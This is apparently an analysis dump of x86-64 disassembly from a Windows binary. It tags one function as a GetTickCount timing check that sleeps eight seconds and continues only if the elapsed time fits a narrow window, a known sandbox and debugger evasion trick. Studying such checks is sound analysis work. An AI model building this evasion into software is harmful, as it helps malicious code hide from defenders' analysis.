call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001126c
Capabilities:
Check for time delay via gettickcount

Disassembly:
jmp 0x140011ad0
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400230fa]
call fcn.14001137f
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 4], eax
mov ecx, 0x1f40
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 4]
add eax, 0x1f0e
cmp dword [rbp + 0x24], eax
jb 0x140011b27
mov eax, dword [rbp + 4]
add eax, 0x1f54
cmp dword [rbp + 0x24], eax
ja 0x140011b27
call fcn.14001112c
xor eax, eax
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret